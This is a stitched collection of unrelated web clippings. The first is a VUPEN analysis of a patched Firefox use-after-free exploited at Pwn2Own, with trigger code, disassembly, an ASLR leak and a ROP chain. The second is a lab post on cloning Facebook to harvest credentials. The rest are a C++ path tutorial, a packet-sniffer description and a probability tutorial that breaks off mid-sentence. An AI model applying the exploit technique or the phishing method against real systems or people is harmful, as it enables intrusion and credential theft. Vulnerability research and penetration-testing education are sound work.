_Published on 2014-05-20 17:19:47 UTC by Arno, Security Researcher @ VUPEN_|  
---|---  
Hi everyone,  
  
Pwn2Own 2014 was very exciting and challenging as all major browsers and
operating systems are now getting more secure than ever. Of course, secure
does _not_ mean unbreakable, it means however that additional efforts are
required to find and successfully exploit a vulnerability.  
  
In this year's edition of Pwn2Own, we have used a total of 11 distinct zero-
days to target Mozilla Firefox, Internet Explorer 11, Google Chrome, Adobe
Reader XI, and Adobe Flash on Windows 8.1, and we have reported _all_ the
vulnerabilities and our full exploits to the affected vendors to allow them
fix the issues and protect users.  
  
One of the vulnerabilities we have exploited during the event was a use-after-
free in Mozilla Firefox \(MFSA2014-30 / CVE-2014-1512\). This flaw was not
easy to find and exploit because it required the browser to be in a specific
memory state to reach the vulnerable code branch, this state is called by
Mozilla: "memory-pressure".  
  
  
**__1\. Technical Analysis of the Vulnerability__**  
  
The use-after-free condition can be triggered in Firefox v27 on Windows 8.1
\(64bit\) with the following code:

<html>  
<script>  
var tab = new Array\(100000\);  
var counter = 0;  
  
function spray\(\) \{  
for\(var i = 0; i<0x100 ; i++\)  
\{  
tab\[counter\] = new ArrayBuffer\(0x10000\);  
counter += 1;  
\}  
\}  
  
function Pressure\(\) \{  
  
try \{spray\(\);\} catch \(e\) \{\}  
  
for\(var i = 0; i<0x4000 ; i++\)  
counter.toString\(\);  
  
Pressure\(\);  
\}  
  
Pressure\(\);  
</script>  
</html>  
---  
When the page is loaded, the _ "Pressure\(\)"_ function performs three tasks:  
  
\- First, the "spray\(\)" function is called to spray memory \(see below\)  
\- Then, the "for" loop is executed to consume additional memory resources  
\- Finally, the _" Pressure\(\)"_ function calls itself recursively to consume
even more resources  
  
As the _" Pressure\(\)" _function is recursive, the _" spray\(\)"_ function
will be called many times. Each heap spray operation performed by this
function is saved into the _ "tab"_ array. After a few seconds, Firefox will
run out of memory and enters into a specific state named _" memory pressure"_
or _" low memory"_ which is automatically activated to protect the browser
from intensive memory use.  
  
Here is the code which determines if this state is active or not:

// **In "CheckMemAvailable\(\)" / xul.dll**  
0x10AF2E5D mov eax, sLowCommitSpaceThreshold // **0x80**  
0x10AF2E62 xor ecx, ecx  
0x10AF2E64 shl eax, 14h // **eax = 0x08000000**  
\[...\]  
0x10AF2E6E cmp dword ptr \[ebp+stat.ullAvailPageFile\], eax // left memory
\(in bytes\)  
0x10AF2E71 jnb short loc\_10AF2E83  
0x10AF2E73 call MaybeScheduleMemoryPressureEvent\(\) // **Enable the "memory-
pressure" state**  
---  
If the memory left is below _0x08000000_ bytes, the _" memory-pressure"_ state
is automatically activated.  
  
When Firefox gets into this mode, a specific _" BumpChunk"_ object is created
through its constructor:

// **In "js::detail::BumpChunk \* js::LifoAlloc::getOrCreateChunk\(\)" /
mozjs.dll**  
0x00BFEF3E push edi ; Size  
0x00BFEF3F call ds:\_\_imp\_\_malloc  
0x00BFEF45 add esp, 4  
0x00BFEF48 test eax, eax  
0x00BFEF4A jz loc\_BFEFFB  
\[...\]  
---  
The size of this object is _0x2000_ bytes. Then the object is freed by the _"
js::LifoAlloc::freeAll\(\)"_ function:

// **In "js::LifoAlloc::freeAll\(\)" / mozjs.dll**  
0x00CD5AF5 mov eax, \[this\]  
0x00CD5AF7 mov ecx, \[eax+8\]  
0x00CD5AFA mov \[this\], ecx  
0x00CD5AFC mov ecx, eax  
0x00CD5AFE sub ecx, \[eax+4\]  
0x00CD5B01 push eax // **eax points to the "BumpChunk" object**  
0x00CD5B02 add \[this+14h\], ecx  
0x00CD5B05 call ds:\_\_imp\_\_free // **free\(\) function**  
0x00CD5B0B pop ecx  
0x00CD5B0C  
0x00CD5B0C loc\_CD5B0C:  
0x00CD5B0C cmp \[this\], edi  
0x00CD5B0E jnz short loc\_CD5AF5  
---  
At this point, the object has been deleted; however a reference of the freed
object still remains in memory. This reference to the freed object is later
reused by Firefox within several functions such as the following:

// **In "js::GCMarker::processMarkStackTop\(\)" / mozjs.dll  
** \[...\]  
0x00C07AC3 mov ecx, \[edi+14h\] // **retrieve the ref to the freed object**  
\[...\]  
0x00C07AD8 mov ecx, \[ecx\] // **read into the freed object**  
\[...\]  
0x00C07ADF mov edx, ecx  
0x00C07AE1 shr edx, 3  
0x00C07AE4 mov \[esp+44h+obj\], ecx  
0x00C07AE8 and edx, 1FFFFh  
0x00C07AEE mov ecx, edx  
0x00C07AF0 and ecx, 1Fh  
0x00C07AF3 mov eax, 1  
0x00C07AF8 shl eax, cl  
0x00C07AFA mov ecx, \[esp+44h+obj\]  
0x00C07AFE and ecx, 0FFFFC0B0h  
0x00C07B04 or ecx, 0FC0B0h  
0x00C07B0A shr edx, 5  
0x00C07B0D lea edx, \[ecx+edx\*4\]  
0x00C07B10 mov ecx, \[edx\] // **a crash occurs here\!**  
---  
This leads to an exploitable crash of Firefox within the _"
js::GCMarker::processMarkStackTop\(\)"_ function.  
  
  
__**2\. Exploitation on Windows 8.1 \(64bit\)  
  
** __In order to exploit this vulnerability an attacker needs first to take
control of the freed object. To replace the content of the freed object with
attacker-controlled data, multiple elements having the same size as the
vulnerable object must be created. This can be achieved by spraying
_ArrayBuffers_ of 0x2000 bytes.  
  
After the object has been freed and replaced, it is reused in several
functions, among which _" js::GCMarker::processMarkStackTop\(\)"_ and _"
js::types::TypeObject::sweep\(\)"_. The _"
js::GCMarker::processMarkStackTop\(\)"_ function will be used to leak memory
and bypass ASLR, and then "js::types::TypeObject::sweep\(\)" will be abused to
re-gain control of the execution flow and pop a calc on Windows 8.1.  
  
__2.1. Memory leak via "js::GCMarker::processMarkStackTop\(\)____"  
  
__ As discussed earlier, the freed but controlled object is reused in _"
js::GCMarker::processMarkStackTop\(\)"_:

// **In "js::GCMarker::processMarkStackTop\(\)" / mozjs.dll**  
0x00C07AC3 mov ecx, \[edi+14h\] // **retrieve the ref to the freed object**  
// **this ref does not point to the beginning of the ArrayBuffer,**  
// **but points into the controlled values of the ArrayBuffer**  
\[...\]  
0x00C07AD8 mov ecx, \[ecx\] // **\[ecx\] is fully controlled**  
---  
Once _ECX_ is fully controlled, Firefox performs various computations with
this controlled value to obtain two other values:

// **The two values are named: value\_1 and value\_2**  
0x00C07ADF mov edx, ecx  
0x00C07AE1 shr edx, 3  
0x00C07AE4 mov \[esp+44h+obj\], ecx  
0x00C07AE8 and edx, 1FFFFh  
0x00C07AEE mov ecx, edx  
0x00C07AF0 and ecx, 1Fh  
0x00C07AF3 mov eax, 1  
0x00C07AF8 shl eax, cl // **value\_1 is obtained here**  
0x00C07AFA mov ecx, \[esp+44h+obj\]  
0x00C07AFE and ecx, 0FFFFC0B0h  
0x00C07B04 or ecx, 0FC0B0h  
0x00C07B0A shr edx, 5  
0x00C07B0D lea edx, \[ecx+edx\*4\] // **value\_2 is obtained here**  
//eax contains value\_1  
//edx contains value\_2  
---  
Here is the recap of these computations: ecx = fully controlled value  
value\_1 = 1 << \( \( ecx >> 3 \) & 0x0000001F \)  
value\_2 = \(\(ecx & 0xFFFFC0B0\) | 0xFC0B0 \) + \(\(\( ecx >> 3 \) & 0x1FFFF \) >> 5 \) \* 4  
---  
As we can see, these two values can only be _**partially**_ controlled. After
the computations, these two values are used in the following code:

// eax = value\_1  
// edx = value\_2  
0x00C07B10 mov ecx, \[edx\]  
0x00C07B12 test eax, ecx  
0x00C07B14 jz loc\_D647C5 // **can be controlled**  
\[...\]  
0x00D647C5 loc\_D647C5:  
0x00D647C5 or ecx, eax  
0x00D647C7 mov eax, \[esp+44h+obj\]  
0x00D647CB push ebp  
0x00D647CC mov \[edx\], ecx // **memory corruption**  
---  
Indeed _value\_2_ corresponds to an address. A corruption may be performed at
this address, if the jump \(at 0x00c07B14\) is taken. From such a corruption
there are several ways to perform a memory disclosure. Here is one of them:  
  
First, a spray of _ArrayBuffers_ is used and placed at a predictable address,
then the memory corruption can be used to corrupt an _ArrayBuffer_ , in
particular its _" byteLength"_ field. Here is the memory layout of an
_ArrayBuffer_ :

<img src='img/Temp2_8825.png' />

The _" byteLength"_ field is checked when a view is created on the
_ArrayBuffer_. A view allows reading from and writing into the contents of the
_ArrayBuffer_. Here is the prototype of the function which allows the creation
of a view:

view Int32Array\(ArrayBuffer buffer, unsigned long byteOffset, unsigned long length\);|  Attribute|  |  Description  
---|---|---  
buffer|  ArrayBuffer|  The ArrayBuffer object used to contain the TypedArray
data. Read only.  
byteOffset|  unsigned long|  The index at which the TypedArray starts within
the underlying ArrayBuffer. Read only.  
lengthInt|  unsigned long|  The number of entries in the array. Read only.  
The size of an entry is always 4 bytes.  
The _ArrayBuffer_ 's _" byteLength"_ field is compared to the parameters of
the _ "Int32Array\(\)"_ function:

if\( \(ArrayBuffer's "length"\) >= \(byteOffset arg\) + \(length arg\) \* 4 \)  
\{  
\[...\] // **will create the view**  
\}else\{  
error\(\);  
\}  
---  
Here is this comparison in ASM:

// **In "namespace\_\_\_TypedArrayObjectTemplate\_int\_\_\_fromBuffer\(\)" /
mozjs.dll**  
// ecx points to start of ArrayBuffer's payload area  
0x00E4873F mov edx, \[eax-0Ch\] // **retrieve the "byteLength" field **  
\[...\]  
0x00E4874B mov eax, \[ebp+lengthInt\] // **retrieve the 3rd arg of
"Int32Array"**  
\[...\]  
0x00E48769 mov ecx, eax  
0x00E4876B shl ecx, 2  
\[...\]  
0x00E48780 add ecx, ebx // **ebx, 2nd argument of "Int32Array"**  
0x00E48782 cmp ecx, edx  
0x00E48784 ja short loc\_E48799 // **If the jump is taken, the view will not
be created**  
---  
Manipulating the _ArrayBuffer_ 's _" byteLength"_ value \(making it big
enough\) allows an attacker to create a view, whose length is unusually large,
and allows reading and writing outside of the _ArrayBuffer_.  
  
As previously discussed, _" value\_2"_ is only _partially_ controlled, so the
_ArrayBuffer_ 's _" byteLength"_ field is also _partially_ controlled. However
the corruption allows us to increase the _" byteLength"_ field of 0x01000000
bytes, which results in the creation of a view that can be used to read and
write into the next _ArrayBuffer_ , then the _" byteLength"_ of this second
_ArrayBuffer_ will be fully controlled.  
  
By setting the _" byteLength"_ of this second _ArrayBuffer_ to _0xFFFFFFFF_ ,
we are able to create a view which can read from and write to any location of
the user space memory.  
  
At this point the goal is to obtain the address of one of the loaded DLLs.
This can be done by reading the third dword of the _ArrayBuffer_ 's header
which allows us e.g. to obtain the address of "mozjs.dll".  
  
Here is the memory view of the _ArrayBuffer_ :

<img src='img/Temp2_8824.png' />

Here is the _link_ between the 3rd field and the "mozjs.dll" module:

CPU Stack  
Address Value  
0x0A18FF10 0x049A0928  
\[...\]  
0x049A0928 0x049A2600  
\[...\]  
0x049A2600 0x00E8D4D8  
\[...\]  
0x00E8D4D8 0x00E9AFE4 ; ASCII "Int32Array"  
---  
The _0x00E9AFE4_ address belongs to the "mozjs.dll" module, which allows us to
disclose its address and build a ROP to bypass ASLR/DEP.  
  
__2.2. Controlling EIP Thanks to "js::types::TypeObject::sweep\(\)___"_ Now
that the leak is achieved, we have to find a way to control the execution flow
while the freed object is reused in the _" js::types::TypeObject::sweep\(\)"_
function. This can be done as follows:

// **In "js::types::TypeObject::sweep\(\)" / mozjs.dll**  
0x00C7F567 mov ecx, \[eax\] // **ecx is fully controlled  
** \[...\]  
0x00C7F577 mov \[esp+38h+var\_10\], ecx  
\[...\]  
0x00C7F5CD lea eax, \[esp+38h+var\_10\]  
0x00C7F5D1 call js::EncapsulatedId::pre\(void\)  
  
// **In "js::EncapsulatedId::pre\(\)"**  
0x00C7FBA0 push ecx  
0x00C7FBA1 mov eax, \[eax\] // **controlled**  
0x00C7FBA3 mov ecx, ecx  
\[...\]  
0x00C7FBB8 and eax, 0FFFFF000h  
0x00C7FBBD mov eax, \[eax\] // **controlled**  
0x00C7FBBF cmp byte ptr \[eax+8\], 0  
0x00C7FBC3 jnz loc\_D3F5C4 // **jump must be taken**  
0x00C7FBC9  
\[...\]  
0x00D3F5C4 loc\_D3F5C4:  
0x00D3F5C4 mov edx, \[eax+4\] // **controlled**  
0x00D3F5C7 push offset aWriteBarrier  
0x00D3F5CC lea ecx, \[esp+8+str\]  
0x00D3F5D0 push ecx  
0x00D3F5D1 push edx // **1st arg**  
0x00D3F5D2 call js::gc::MarkStringUnbarriered\(\)  
  
// **In "js::gc::MarkStringUnbarriered\(\)"**  
0x00C55FD0 mov ecx, \[esp+name\]  
0x00C55FD4 mov edx, \[esp+thingp\]  
0x00C55FD8 mov eax, \[esp+trc\] // **retrieve 1st arg**  
\[...\]  
0x00C55FF0 push eax // **set 1st arg for MarkInternal\_JSString\_\(\)**  
0x00C55FF1 mov dword ptr \[eax+8\], 0  
0x00C55FF8 mov \[eax+0Ch\], name  
0x00C55FFB mov \[eax+10h\], 0FFFFFFFFh  
0x00C56002 call MarkInternal\_JSString\_\(\)  
---  
It is then possible to regain control of the execution flow thanks to the _"
MarkInternal\_JSString\_\(\)"_:

// **In "MarkInternal\_JSString\_\(\)"**  
0x00C3ABA2 mov ebp, \[esp+8+trc\] // **retrieve 1st arg**  
0x00C3ABA6 mov ecx, \[ebp+4\] // **controlled**  
0x00C3ABA9 xor ebx, ebx  
0x00C3ABAB push esi  
0x00C3ABAC push edi  
0x00C3ABAD cmp ecx, ebx  
0x00C3ABAF jnz loc\_C3AC9C // **controlled, we take this jump**  
\[...\]  
0x00C3AC9C loc\_C3AC9C:  
0x00C3AC9C push 1  
0x00C3AC9E push thingp  
0x00C3AC9F push ebp  
0x00C3ACA0 call ecx // **redirect EIP here, pwnd\!**  
---  
As we can see from above, if _ECX_ is set to null, the code path which leads
to the control of EIP is _not_ taken. While the leak operation is not
completed, _\[ebp+4\]_ needs to be set to null to avoid controlling EIP and
crashing the browser. After the leak operation is achieved, _\[ebp+4\]_ value
will be set to contain the address of the first gadget. Exploitation is then
finalized with a ROP in "mozjs.dll":

// **Make eax point to another location \(in the spray\)**  
0x00D997C3 mov eax, \[eax+588h\]  
0x00D997C9 mov edx, \[eax\] // **controlled**  
0x00D997CB mov ecx, eax  
0x00D997CD call dword ptr \[edx\] // **call the 2nd gadget**  
  
// **Set a controlled value on the stack**  
0x00CD9855 push \[ebp-80h\] // **controlled, address of the 4th gadget**  
0x00CD9858 mov ecx, state  
0x00CD985A call dword ptr \[eax+4\] // **call the 3rd gadget**  
  
// **Make esp point to a controlled location**  
0x00D2906A pop ecx  
0x00D2906B xchg eax, esp  
0x00D2906C mov eax, \[eax\] // **address of the 4th gadget**  
0x00D2906E mov \[esp\], eax  
0x00D29071 retn // **return to the 4th gadget**  
  
// **Adjust the stack and enjoy**  
0x00BD062D add esp, 10h  
0x00BD0630 retn // **will return to "VirtualProtect\(\)" after**  
// **the stack has been properly crafted**  
---  
Which leads to arbitrary code execution with ASLR/DEP bypass on Windows 8.1.  
  
It is also possible to bypass EMET but this step is left as an exercise for
the reader\!

_© Copyright VUPEN Security_

# Path Exploration

**Created:**| _12/21/2016 9:17:01 AM_  
---|---  
**Updated:**| _12/21/2016 9:17:01 AM_  
**Author:**| __  
**Tags:**| _Exploit windows Filesystem_  
  

  

14 Dec 2016 • on C++ C++17 filesystem

# Path Exploration

A short stroll along `filesystem::path`.

<img src='img/Temp2_6160.jpg' width='768' height='318' />

The “`experimental`” Filesystem TS has been with us for a few years living in
the `std::experiment` namespace. With C++17 it will finally be merged into
`std`.

This short post is not intended to be a full introduction to `filesystem` nor
does it attempt to be exhaustive. It only examines some important methods of
`std::filesystem::path`.  
I write this mostly as a future quick reference for myself, with the hope that
it may be helpful to others as well.

> **Caveats**  
>  I only tested this on Visual Studio “15”. Hence the results may be
> Windows/MSVC oriented. The versions of gcc and clang that I tried did not
> include the `<experimental/filesystem>` implementation headers.
### Path Pebbles

`std::filesystem::path` provides several methods for decomposing a path into
tokens.

> _Objects of type`path` represent paths on a filesystem. Only **syntactic**
> aspects of paths are handled: the pathname may represent a non-existing path
> or even one that is not allowed to exist on the current file system or OS._
Given a `path` created from the string `C:\folder\number\1\abc.123.txt`, it
can be decomposed as follows:  
<img src='img/Temp2_6161.jpg' width='768' height='157' /> A few things to
note:

  * `ext()` returns the last token following the **last** `.`;
  * `ext()` **includes** the last `.`;
  * `stem()` returns everything from the _last_ folder separator \(e.g. `\`\) up to the _last_ `.`
  * `stem()` does **not include** either the `\` nor the `.`
  * `parent_path()` does **not include** the last folder separator.

`std::filesystem::path` also provides several methods for extracting root-info
of absolute paths: <img src='img/Temp2_6158.jpg' width='768' height='168' />

Interestingly, if our initial `path` is set to
`C:\folder\number\1\abc.123.txt\` \(with a trailing `\`\) the `path` is
assumed to be a folder name and the results are different: <img
src='img/Temp2_6159.jpg' width='768' height='96' /> In this case:

  * `filename()` is set to `.`, the special “file” name designating the folder itself;
  * `ext()` is empty;
  * `stem()` is set to `.`

This might seem inconsistent since suddenly `stem()` includes the `.` and
`ext()` doesn’t, but in this case the _dot_ is the special folder file-name,
not a character within the file-name designating the beginning of the file
extension.  
This approach also \(trivially\) maintains the invariant that `filename() ==
stem() + ext()` \(this is actually pseudo-code since there is no
`path::operator+()` \- see below\).

### Building Paths

We can build up paths with folder separators using the \(IMO cleverly named\)
`/` operator:

[code]

    namespace fs = std::experimental::filesystem;
    
    fs::path p("folder");
    cout << p / "foo.txt" << '\n';
    p /= "bar.txt";
    cout << p << '\n';             
    
[/code]

Which gives:

[code]

    folder\foo.txt
    folder\bar.txt	
    
[/code]

We can also concatenate `path`s _without_ the folder separator using the `+=`
operator:

[code]

    fs::path p("folder");
    p += "_foo";
    cout << p << '\n';             
    p += "/bar.txt"; // string includes a /
    cout << p << '\n';   
    
[/code]

Which gives:

[code]

    folder_foo
    folder_foo/bar.txt
    
[/code]

If the concatenated string contains folder separators they will be treated
properly:

[code]

    cout << p               << '\n';         
    cout << p.filename()    << '\n';         
    cout << p.parent_path() << '\n';      
    
[/code]

Produces:

[code]

    folder_foo/bar.txt
    bar.txt
    folder_foo
    
[/code]

as expected.

Strangely, unlike the `operator/`, there is no non-mutating `operator+`.  
This might be due to the fact that `path`s are convertible to strings which
_do_ support such an operator.

### More Quirks

#### Single char literals

At least on the implementation I tested, all the `path` API calls that accept
_only_ other `path` arguments work with strings, but do not work with single
character literals:

[code]

    fs::path p;
    
    // p /= 'x';  // ERROR
    // p /  'x';  // ERROR
    // p != '.';  // ERROR
    p += 'x';     // OK! operator+=() accepts string types too
    
    p /= "x";
    p /  "x";
    p != ".";
    p += "x";
    
[/code]

#### remove\_filename\(\)

As seen in the figure above, although `filename()` does _not_ include the
leading `\`, `remove_filename()` does remove it:

[code]

    fs::path path("folder/foo.bar");  
    cout << path << '\n';            // folder\foo.bar
    path.remove_filename();
    cout << path << '\n';            // folder
    
[/code]

#### replace\_extension\(\)

We had seen that `ext()` includes a leading `.`. Consistently, when using
`replace_extension()` make sure to include the `.` in the new string when you
intend to keep the postfix as an extension.

[code]

    fs::path p = "foo/bar.text";
    cout << p << '\n';            // foo\bar.text
    p.replace_extension(".txt");
    cout << p << '\n';            // foo\bar.txt  
    
[/code]

#### Iteration

When iterating over the elements of a path:

[code]

    for (auto e : path)
        cout << '[' << e << ']';
    cout << '\n';
    
[/code]

Remember the following sequence \(quoting\):

  1. root-name \(if any\)
  2. root-directory \(if any\)
  3. sequence of file-names, **omitting** any directory separators
  4. If there is a directory separator after the last file-name in the path, the last element before the end iterator is a fictitious _dot_ file name.

So, `C:\folder\number\1\abc.123.txt` gives:
`[C:][\][folder][number][1][abc.123.txt]`.  
<img src='img/Temp2_6156.jpg' width='768' height='53' />

`C:\folder\number\1\abc.123.txt\` gives:
`[C:][\][folder][number][1][abc.123.txt][.]`.  
<img src='img/Temp2_6157.jpg' width='768' height='54' /> Note the last
“fictitious” dot that does not appear in the original string.

_If you found any errors or misconceptions here, do let me know in the
comments, Twitter or Reddit._

* * *
__ __ __ __ __ __ __

  

# Web Jacking Attack Method « Penetration Testing Lab

**Created:**| _4/7/2012 11:04:33 AM_  
---|---  
**Updated:**| _4/7/2012 11:04:33 AM_  
**Author:**| __  
**Tags:**| _web-app-sec attacks browser_  
  

  *   * Custom Import

We will select the site cloner in order to clone the website of our
interest.Remember that this type of attack works with the credential harvester
method so we need to choose a website that it has username and password fields
in order the attack to have success.For this scenario as you can see in the
image below we have select to clone Facebook because of its popularity.

<img src='img/Temp2_9408.png' />

Cloning Facebook

Now it is time to send our the link with our IP address to the victim.Lets see
what the victim will see if he opens the link.

<img src='img/Temp2_9411.png' width='614' height='206' />

Message after opening the link

As you can see a message will appear informing the user that the website has
moved to a new location.The link on the message seems valid so any
unsuspicious users will click on the link.At that time a new page will load
into the victim’s browser which it will be fake and is running on our web
server.

<img src='img/Temp2_9410.png' width='614' height='320' />

Fake Facebook Page

If the victim enters his credentials into the fake Facebook page that looks
like the real one then we will be able to capture his username and
password.The next image is showing that:

<img src='img/Temp2_9409.png' />

Capturing the Credentials

**Conclusion**

The purpose of this attack is to try to harvest the credentials of users by
using a webpage with a valid link which when someone opens that link a new
fake page is loading.It is a quite interesting technique that tries to trick
the user to believe that the webpage is real because the link is valid.Users
must be aware of this type of attack especially when they are visiting a
webpage that contains similar messages about websites or objects that have
moved to new locations.

From the other hand as a social engineer you will need to create your scenario
about the engagement and how you are going to deliver the link to the users
and which website you are going to use.

# Justniffer

**Created:**| _8/14/2013 3:12:40 PM_  
---|---  
**Updated:**| _8/14/2013 3:12:40 PM_  
**Author:**| __  
**Tags:**| _network-security protocol-analysis_  
  

#  **J** ustniffer****

###  Network TCP Packet Sniffer****

Justniffer is a network protocol analyzer that captures network traffic and
produces logs in a customized way, can emulate Apache web server log files,
track response times and extract all "intercepted" files from the HTTP
traffic**.**

It lets you interactively trace tcp traffic from a live network or from a
previously saved capture file**.** Justniffer's native capture file format is
libpcap format, which is also the format used by tcpdump and various other
tools**.**

###  Reliable TCP Flow Rebuilding****

The main Justniffer's feature is the ability to handle all those complex low
level protocol issues and retrieve the correct flow of the TCP/IP traffic: IP
fragmentation, TCP retransmission, reordering**.** etc. It uses portions of
Linux kernel source code for handling all TCP/IP stuff**.** Precisely, it uses
a slightly modified version of the libnids  libraries that already include a
modified version of Linux code in a more reusable way**.**

###  Optimized for "Request / Response" protocols**.** It is able to track
server response time****

Justniffer was born as tool for helping in analyzing performance problem in
complex network environment when it becomes impractical to analyze network
captures solely using wireshark **.** It will help you to quickly identify the
most significant bottlenecks analyzing the performance at "application"
protocol level**.**

In very complex and distributed systems is often useful to understand how
communication takes place between different components, and when this is
implemented as a network protocol based on TCP/IP \(HTTP, JDBC, RTSP, SIP,
SMTP, IMAP, POP, LDAP, REST, XML-RPC, IIOP, SOAP, etc**.**\), justniffer
becomes very useful. Often the logging level and monitoring systems of these
systems does not report important information to determine performance issues
such as the response time of each network request**.** Because they are in a
"production" environment and cannot be too much verbose or they are in-house
developed applications and do not provide such logging**.**

Other times it is desirable to collect access logs from web services
implemented on different environments \(various web servers, application
servers, python web frameworks, etc**.**\) or web services that are not
accessible and therefore traceable only on client side**.**

Justniffer can capture traffic in promiscuous mode so it can be installed on
dedicated and independent station within the same network "collision domain"
of the gateway of the systems that must be analyzed, collecting all traffic
without affecting the system performances and requiring invasive installation
of new software in production environments**.**

###  Can rebuild and save HTTP content on files****

The robust implementation for the reconstruction of the TCP flow turns it in a
multipurpose sniffer**.**

  * HTTP sniffer 
  * LDAP sniffer 
  * SMTP sniffer 
  * SIP sniffer 
  * password sniffer 

justniffer can also be used to retrieve files sent over the network**.**

###  It is extensible****

Can be extended by external scripts**.** A python script has been developed to
recover all files sent via HTTP \(images, text, html, javascript, etc**.**\).

### Features Summary****

  * **Reliable TCP flow rebuilding** : it can reorder, reassemble tcp segments and ip fragments using portions of the Linux kernel code 
  * **Logging text mode** can be customized 
  * **Extensibility** by any executable, such as bash, python, perl scripts, ELF executable, etc**.**
  * **Performance measurement** it can collect many information on performances: connection time, close time, request time , response time, close time, etc**.**

****

# Introduction to Probability | Programming Logic
**Created:**| _10/14/2013 7:21:08 PM_  
---|---  
**Updated:**| _10/14/2013 7:21:08 PM_  
**Author:**| __  
**Tags:**| _statistics math_  
  

# **I** ntroduction to Probability****

First things first: what is probability**?**

_Probability_ is a measure or estimate of how likely a certain event is to
happen**.** Another way to put it: how likely a statement is to be true**.**

_Probability theory_ is the branch of mathematics concerned with these
measurements and estimations**.** It’s a relatively new branch, but it’s
gaining a lot of importance in recent years, with applications in medical
sciences, computer sciences, artificial intelligence, big data and so on**.**

Below you’ll find an introduction on the subject that aims to cover all the
core probability principles, explaining them with examples and in a manner
\(hopefully\) easy to understand**.**

## Definitions and Terminology****

**Experiment** : A process leading to two or more outcomes, where there’s some
uncertainty regarding which outcome will take place**.** An experiment could
be tracking the price of a stock, rolling a couple of dice or asking the name
of the next person that will come by in the street, for instance**.**
Sometimes also called “random experiment”.

**Sample space** : The set of all the possible outcomes of an experiment is
called the sample space**.** If your experiment is rolling a die, for
instance, your sample space would be S = \{1,2,3,4,5,6\}**.** If you toss a
coin your sample space would be S = \{Head,Tail\}**.**

**Event** : An event is any subset of the sample space**.** The event is said
to take place if the experiment generate one of the outcomes that is part of
the event’s subset**.**

With those definitions out of the way we can start talking about
probability**.** First of all probability is expressed with numbers between 0
\(representing 0% chance of happening\) and 1 \(representing 100% chance of
happening**.** This makes the first postulate of probability:

`Postulate 1: The probability of any event must be greater than or equal to 0
and small than or equal to 1**.** So 0 >= P <= 1.`

Since the sample space is composed of all the possible outcomes, when you run
an experiment, one of those possible outcomes will necessarily occur, so the
combined probability of all possible outcomes must be 100%, and that’s the
second postulate:

`Postulate 2: The sum of the individual probabilities of all the outcomes in
the sample space must always be equal to 1**.** So ΣP(e) = 1.`

That’s it. The above definitions and postulates are pretty much all you need
to have a formal way of working with probability**.**

## Probability is Counting****

If you think about it, measuring probability is basically a matter of counting
things**.** On one hand you have the **sample space** , which is the finite
set of all the possible outcomes**.** On the other hand you have an **event**
, which is a certain subset of outcomes of the sample space**.** The
probability that the event will take place is the number of outcomes that lead
to the event divided by the total number of possible outcomes**.** This is the
classic definition of probability.

Let’s use some numerical examples**.**

What’s the probability of getting a 6 when you roll a die**?**

The sample space is S = \{1,2,3,4,5,6\}, and the event we are interested is
the 6 showing up**.** So the probability of getting a 6 is 1/6 or 0.166
\(0**.** 166 is equivalent to writing 16,6%\).

Now let’s do something slightly more complex**.** Suppose you’ll toss two
coins in a row. What’s the probability of the following events \(please take a
moment and try to estimate the probabilities, either in your head or with pen
and paper\):

A: Toss two heads in a row  
B: Tossing at least one head  
C: Tossing exactly one head and one tail \(the order doesn’t matter\)

As you see later on this article, one could use probability rules and
equations to find the probability of these events**.** However, if you
understand how to count things the correct way you can solve it easily**.**

And here comes a tip: when trying to find probabilities via the counting
method always start with writing down your sample space**.** In our case there
are 4 possible outcomes:

[code]

    1st Coin  -  2nd Coin
    Head      -  Head
    Head      -  Tail
    Tail      -  Head
    Tail      -  Tail
[/code]

You can see that event A requires 1 out of 4 possible outcomes, so its chance
is 1/4 or 25%**.** If the chance of tossing two heads in a row is 25% we can
conclude that tossing two tails in a row is also 25%, due to the symmetry of
the experiment**.**

Event B has 3 out of 4 possible outcomes, so its chance is 3/4 or 75% \(which
makes sense, cause the probability of tossing at least one head should be
equal to one minus the probability of tossing only tails, which is 25% as we
saw above\)**.**

Finally, event C has 2 out of 4 possible outcomes, so a 50% chance of
happening**.**

## Probability and Set Theory****

As you have seen above, probability theory shares many principles with set
theory \(the branch of mathematics concerned with sets\)**.** Below you’ll
find principles and definitions that solidify even more this relationship**.**
In fact in each case we’ll be using a Venn Diagram \(a diagram that shows all
possible relations between a collection of sets\) to illustrate what’s going
on**.**

**Complement of an Event** : The complement of an event is the subset of
outcomes that belong to the sample space but that do not belong to the event
itself**.**

<img src='img/Temp2_4581.png' alt='complement-of-event' />

_Example_ : Say we are rolling a die and event A is getting a 1**.** The
complement of event A would be not getting a 1, therefore getting either a 2,
3, 4, 5 or 6**.** The probability of event A is 1/6, and the probability of
the complement of event A is 5/6**.** You can arrive at the 5/6 either by
summing the individual probabilities of all the outcomes that don’t belong to
A, or by simply doing 1 – P\(A\) \(i**.** e., 1 – 1/6 = 5/6\).

**Union of Events** : The union of two or more events is the subset of
outcomes that belong to _at least one_ of those events**.** Union of events A
and B is denoted by A∪B.

<img src='img/Temp2_4578.png' alt='union-of-events3' />

_Example_ : Suppose that you will roll a die**.** Event A is a 1 showing up.
Event B is a 2 showing. This experiment is illustrate in the Venn Diagram
above**.**

The union of those events is either a 1 OR a 2 showing up**.** As you noticed,
when we talk about union of events, we are talking about one event OR the
other, and when you want to find the probability of the union of two events
you need to ADD their individual probabilities \(this is not always the case,
but I’ll explain why later on\)**.**

Therefore P\(A\) = 1/6, P\(B\) = 1/6, and P\(A∪B\) = 1/6 + 1/6 = 2/6**.**

Another way of putting it: you have one event with probability 1/6 of
happening, and another event with probability of 1/6 as well**.** If you are
interested in _either one or the other_ happening, you are basically combining
their individual probabilities, that’s why you add them together**.**

You can also use the counting method to arrive at the same result**.** There
are 6 possible outcomes, and 2 of those satisfy the union of events A and B,
so the probability of the union is 2/6**.**

And this gives us our first rule:

`Rule 1: When considering the union of events (i**.** e., one event OR the
other) you need to add their individual probabilities to find the probability
of the union**.** `

**Intersection of Events** : The intersection or two or more events is the
subset of outcomes that belong to _all_ the events**.** Intersection of events
A and B is denoted by A∩B.

<img src='img/Temp2_4580.png' alt='intersection-of-events' />

_Example_ : Suppose that you will roll two dice now**.** The sample space of
this experiment has 36 possible outcomes, as you can see on the Venn diagram
above**.** Outcome \(1,1\) represents a 1 showing up on both dice**.** \(1,2\)
represents a 1 showing up on the first die and a 2 on the second**.** So on
and so forth. There are 36 possible outcomes becomes you have 6 possibilities
on the first die and 6 on the second, so 6 \* 6 = 36**.**

Now let’s say that event A is getting a 1 in the first die \(and therefore
